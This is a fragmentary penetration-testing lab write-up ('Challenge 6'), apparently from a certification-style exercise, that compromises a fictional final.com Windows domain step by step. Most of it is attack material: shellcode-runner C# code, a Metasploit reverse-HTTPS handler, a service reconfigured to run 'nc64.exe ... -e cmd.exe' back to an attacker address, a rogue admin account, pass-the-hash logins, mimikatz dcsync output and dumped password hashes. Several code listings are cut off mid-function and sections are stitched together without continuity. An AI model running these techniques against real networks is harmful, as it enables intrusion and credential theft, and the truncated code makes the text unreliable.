Challenge 6
Challenge 6
180
172.16.X.183
172.16.X.184
172.16.X.187
172.16.X.188
172.16.X.192
172.16.X.194
172.16.X.197
192.168.x.181
192.168.x.189
192.168.x.181
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Home Page - Final Application
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: FINAL
| NetBIOS_Domain_Name: FINAL
| NetBIOS_Computer_Name: WEB05
| DNS_Domain_Name: final.com
| DNS_Computer_Name: web05.final.com
| DNS_Tree_Name: final.com
| Product_Version: 10.0.17763
|_ System_Time: 2021-02-16T13:35:05+00:00
| ssl-cert: Subject: commonName=web05.final.com
| Not valid before: 2020-10-26T12:28:25
|_Not valid after: 2021-04-27T12:28:25
|_ssl-date: 2021-02-16T13:35:07+00:00; -54s from scanner time.
9090/tcp open zeus-admin?
| fingerprint-strings:
| JavaRMI, LANDesk-RC, NULL:
|_ This is Zen HelpDesk, please perform the required authentication
1 service unrecognized despite returning data. If you know the service/ver
192.168.x.189
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: FIREWALL02
| NetBIOS_Domain_Name: FIREWALL02
| NetBIOS_Computer_Name: FIREWALL02
| DNS_Domain_Name: firewall02
| DNS_Computer_Name: firewall02
| Product_Version: 10.0.17763
|_ System_Time: 2021-02-16T13:40:25+00:00
| ssl-cert: Subject: commonName=firewall02
| Not valid before: 2020-10-25T21:26:20
|_Not valid after: 2021-04-26T21:26:20
|_ssl-date: 2021-02-16T13:41:05+00:00; -6s from scanner time.
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Then I open aspx and add encryption to it. So we first use this caesar encrypt helper:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace CaesarEncrypt
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[685] {shellcodeHere };
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32
flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr
lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
c:\inetpub>more local.txt
more local.txt
09b72e94ac6c57f4171aab83f205e320
Then compile the gimmeshell.exe project on Windows private VM, which contains this code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace gimmeshell
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint
flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
return xored;
}
}
}
}
dir c:\windows\tasks
Directory: C:\windows\tasks
c:\windows\system32\inetsrv>^Z
Background channel 2? [y/N] y
meterpreter > channel -i 1
Interacting with channel 1...
more c:\users\administrator\Desktop\proof.txt
89f4c005905e38f0b2da8699845c2c7d
* Username : adminWebSvc
* Domain : FINAL
* NTLM : b0df1cb0819ca0b7d476d4c868175b94
* Username : WEB05$
* Domain : FINAL
* NTLM : ad2a0eacfd4c546f92b56018547a68dd
vi7&QE
The members of the group [email protected] have the capability to change the user
[email protected]'s password without knowing that user's current password.
$credsrulon = New-Object System.Management.Automation.PSCredential
("final.com\adminWebSvc", (ConvertTo-SecureString "FGjksdff89sdfj" -AsPlainText -Force))
$UserPassword = ConvertTo-SecureString 'PasswordRulon123!' -AsPlainText -Force
Set-DomainUserPassword -Identity nina -AccountPassword $UserPassword -Credential
$credsrulon -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'nina'
VERBOSE: [Set-DomainUserPassword] Password for user 'nina' successfully reset
dnshostname
-----------
dc01.final.com
sql03.final.com
sql11.final.com
web05.final.com
jump03.final.com
ansible06
172.16.X.180 - dc01.final.com
172.16.X.187 - sql03.final.com
172.16.X.188 - sql11.final.com
172.16.X.183 - jump03.final.com
172.16.X.184 - ansible06
172.16.X.192 - dc02.dev.final.com
172.16.X.194 - web06.dev.final.com
172.16.X.197 - appserver05.dev.final.com
172.16.X.180 - dc01.final.com
53
88
139
389
445
5985
3389
172.16.X.187 - sql03.final.com
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 15.00.2000.00
| ms-sql-ntlm-info:
| Target_Name: FINAL
| NetBIOS_Domain_Name: FINAL
| NetBIOS_Computer_Name: SQL03
| DNS_Domain_Name: final.com
| DNS_Computer_Name: sql03.final.com
| DNS_Tree_Name: final.com
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-19T06:37:50
| Not valid after: 2051-02-19T06:37:50
| MD5: fefa d01e f133 358e 0ca5 53a9 2875 3260
|_SHA-1: e44e 17aa 67b7 ceaa 3301 dcd8 82ad 19c1 144e b73d
|_ssl-date: 2021-02-19T12:41:52+00:00; -47s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=sql03.final.com
| Issuer: commonName=sql03.final.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-10-26T11:06:48
| Not valid after: 2021-04-27T11:06:48
| MD5: 47f4 a744 ca7a ea72 860a 67bb 285d 5843
|_SHA-1: 9650 1b2b 48d8 4029 956a e83f 32f4 d5e0 7a73 1ccd
|_ssl-date: 2021-02-19T12:41:52+00:00; -47s from scanner time.
MAC Address: 00:50:56:86:A0:9C (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
172.16.X.188 - sql11.final.com
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 15.00.2000.00
| ms-sql-ntlm-info:
| Target_Name: FINAL
| NetBIOS_Domain_Name: FINAL
| NetBIOS_Computer_Name: SQL11
| DNS_Domain_Name: final.com
| DNS_Computer_Name: sql11.final.com
| DNS_Tree_Name: final.com
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-02-18T07:40:16
|_Not valid after: 2051-02-18T07:40:16
|_ssl-date: 2021-02-18T10:28:44+00:00; -18s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=sql11.final.com
| Not valid before: 2020-10-26T11:07:15
|_Not valid after: 2021-04-27T11:07:15
|_ssl-date: 2021-02-18T10:28:44+00:00; -18s from scanner time.
5985/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
MAC Address: 00:50:56:86:A8:60 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
172.16.X.184 - ansible06
22
172.16.X.194 - web06.dev.final.com
80/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.2.34)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34
|_http-title: Final Web Store
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=web06.dev.final.com
| Not valid before: 2020-10-26T11:34:37
|_Not valid after: 2021-04-27T11:34:37
|_ssl-date: 2021-02-18T09:24:21+00:00; -1s from scanner time.
5985/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.2.34)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.2.34
|_http-title: Final CMS App
MAC Address: 00:50:56:86:EE:82 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
172.16.X.197
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
Then to make sure proxychains work, I can login as administrator on web05 machine:
proxychains python3 /opt/Windows/Impacket/examples/psexec.py -hashes
:9689cee5c72d2ef437de593af89bb4ff [email protected]
hostname
jump03
whoami
final\nina
more local.txt
911430e89bd98320be4673732818eaa0
Name : SNMPTRAP
ImagePath : C:\Windows\System32\snmptrap.exe
User : NT AUTHORITY\LocalService
Status : Stopped
UserCanStart : True
UserCanRestart : True
To get my shell back, I do:
msfconsole -x 'use auxiliary/server/socks4a; set SRVPORT 1080; set SRVHOST 127.0.0.1; run
-j; use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST
192.168.X.Y; set LPORT 443; set EXITONSESSION false; set AutoRunScript "autoroute -s
172.16.X.0/24"; run'
Diana
CN=Domain Admins,CN=Users,DC=dev,DC=final,DC=com so Domain admin on dev.final.com
C:\Users\nina>sc qc snmptrap
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: snmptrap
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\users\nina\nc64.exe 192.168.X.Y 80 -e cmd.exe
LOAD_ORDER_GROUP :
TAG :0
DISPLAY_NAME : SNMP Trap
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\SYSTEM
Invoke-ServiceAbuse -ServiceName 'SNMPTRAP'
ServiceAbused Command
------------- -------
SNMPTRAP net user john Password123! /add && net localgroup Administrators john /add
net users
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
john WDAGUtilityAccount
The command completed successfully.
So it worked! John is now admin, and we can now RDP to jump03 and grab proof.txt:
89f4c005905e38f0b2da8699845c2c7d
* Username : tommy
* Domain : FINAL
* NTLM : 5ad27ee8000951e0669fab25f73f9d8a
* Username : Administrator
* Domain : JUMP03
* NTLM : 935a2a886200d2bf5040b1344b2d33d7
* Username : tommy
* Domain : FINAL.COM
* Password : 89dsfsji43A
[email protected]@ansible06:/$ sudo -l
Matching Defaults entries for [email protected] on ansible06:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
# cat proof.txt
475e008585daee29fbc9d0fc4a5f4491
ansiblesvc:$6$ZLO9O2l.NR91p0ZL$ASnOBAvHtvZOi1HUhHfvE5XkIQhSdXLwWNzEysD3cqyB
BL40/JJwB2MZtZwMKAwnYxwR4qwNvjVhW.TX.MwA00:18562:0:99999:7:::
root@ansible06:/home# su - ansiblesvc
ansiblesvc@ansible06:~$ ansible appservers -a "whoami"
appserver05.dev.final.com | CHANGED | rc=0 >>
ansiblesvc
ansiblesvc@appserver05:~$ sudo -l
Matching Defaults entries for ansiblesvc on appserver05:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
root:$6$veLzkM9YL5o0gWT.$YW5Ou1ImNB5AlItKIcVUKK1eMaXmQOUiKH5uEOKFyRZWXsx
Xf.XPQvCHeKK..4jX93vTca3LvrpmpsLxKXxPx1:18568:0:99999:7:::
ansiblesvc:$6$pw6sPHO5F2ChVCQW$8PvOIIhOW.0XYRZswcKs8cWD4RQVN.jdt.qt7wzH5FC
.NxBIu2wfcOnpsiJ1IT7rLaRRgYY7JXtHHoZGttYns0:18562:0:99999:7:::
Then it works to connect to both sql03 and sql11 using tommy’s credentials we found on jump03
Then appserver05 is in dev.final.com domain, and if we remember from earlier on port web06, I
had:
The current release version is 0.4.5.1 which is available on port 8080 from both final.com and
dev.final.com
The current insider version is 0.4.7.2 which is available on port 8081 from dev.final.com only
Then I can reach http://172.16.X.194:8081/ without any socks proxy in firefox addon
whoami
dev\apachesvc
hostname
web06
more proof.txt
150a6e6452dbe96b8262243842b23911
* Username : sqlsvc01
* Domain : DEV
* NTLM : 077a55c458dc4002dfdc5321a7659526
* Username : apacheSvc
* Domain : DEV
* NTLM : a6a5f008019060ab8079feca697f9f73
Get-SQLInstanceLocal -Verbose
ComputerName : WEB06
Instance : WEB06\SQLEXPRESS
ServiceDisplayName : SQL Server (SQLEXPRESS)
ServiceName : MSSQL$SQLEXPRESS
ServicePath : "C:\Program Files\Microsoft SQL
Server\MSSQL15.SQLEXPRESS\MSSQL\Binn\sqlservr.exe" -sSQLEXPRESS
ServiceAccount : [email protected]
State : Running
Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 1 instances were found.
ComputerName : web06.dev.final.com
Instance : web06.dev.final.com,1433
DomainAccountSid : 150000052100027816418410210521023312414023318884400
DomainAccount : sqlsvc01
DomainAccountCn : sqlsvc01
Service : MSSQLSvc
Spn : MSSQLSvc/web06.dev.final.com:1433
LastLogon : 2/18/2021 10:35 PM
Description :
ComputerName : WEB06
Instance : WEB06\SQLEXPRESS
DomainName : DEV
ServiceProcessID : 4468
ServiceName : MSSQL$SQLEXPRESS
ServiceAccount : [email protected]
AuthenticationMode : Windows and SQL Server Authentication
ForcedEncryption :0
Clustered : No
SQLServerVersionNumber : 15.0.2000.5
SQLServerMajorVersion : 2019
SQLServerEdition : Express Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsVersionNumber : SQL
Currentlogin : DEV\apacheSvc
IsSysadmin : No
ActiveSessions :1
We first run:
select * from master..sysservers
Gives: final\sqlsvc03
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace gimmeshell
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint
flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
return xored;
}
static void Main(string[] args)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000,
0x4,0);
if (mem == null)
{
return;
}
}
}
}
more c:\users\sqlsvc03\desktop\local.txt
299ca8cec8c772177e8103aa21363b63
c:\windows\tasks\PrintRulon.exe \\.\pipe\test\pipe\spoolss
^Z
Background channel 1? [y/N] y
meterpreter > shell
Process 4804 created.
Channel 2 created.
Microsoft Windows [Version 10.0.17763.1518]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>^Z
Background channel 2? [y/N] y
meterpreter > channel -i 1
Interacting with channel 1...
more c:\users\administrator\desktop\proof.txt
ec8dce67fea16d638ade1419bfe3526e
* Username : sqlsvc03
* Domain : FINAL
* NTLM : 77f944ff6e0c0ed0c83dcef57bdf9298
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>hostname
sql11
more c:\users\administrator\desktop\proof.txt
c5cd6b2f7d31f8f4b392c49190ac864b
Then from earlier, we saw in BloodHound tina(which is domain admin) had a session on sql11,
so let’s dump hashes.
* Username : tina
* Domain : FINAL
* NTLM : 1d4c153225b424290188504b9e0541eb
more c:\users\administrator\desktop\proof.txt
716455142324167230fb17bb3a3df487
Then last machine is DC in dev domain. Let’s dump hashes now with dcsync
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:final.com /all /csv" "exit"
[DC] 'final.com' will be the domain
[DC] 'dc01.final.com' will be the DC server
[DC] Exporting domain 'final.com'
502 krbtgt 405854caaf49b41e0e585369a001f114 514
1110 nina 25af00893895d3d871e625c5d4261539 66048
1000 DC01$ b888702a6a53dd77fea9f6d4ae1342d9 532480
500 Administrator 0474d3f0a74d30f13f1fec243e8ac3cb 66048
1114 sqlsvc11 c0f6442ea39956aebf28219639ba9953 66048
1120 ANSIBLE06$ 1bca5d43a0a0a71e5e97602585c248fd 69632
1115 adminWebSvc b0df1cb0819ca0b7d476d4c868175b94 66048
1113 sqlsvc03 77f944ff6e0c0ed0c83dcef57bdf9298 66048
1103 DEV$ 5156f91db57d21698a9fa0e61c889b02 2080
1117 SQL11$ b060949bbbbbb56614bd3ad7e28a2cb0 4096
1118 WEB05$ 1e9679e6dfe938501d519dd10a1962d5 4096
1119 JUMP03$ 4ac261a53476959a56b34c1606e08974 4096
1116 SQL03$ 5b685060ce6943a1a1570a8981d15b96 4096
1112 tommy 5ad27ee8000951e0669fab25f73f9d8a 66048
1109 tina 1d4c153225b424290188504b9e0541eb 66048
Then I check for enterprise admins group in dev.final.com but there are none, but:
The members of the group ENTERPRISE [email protected] have admin rights to the
computer DC02.DEV.FINAL.COM.
This means we can use /sids as the SID of that enterprise admins group.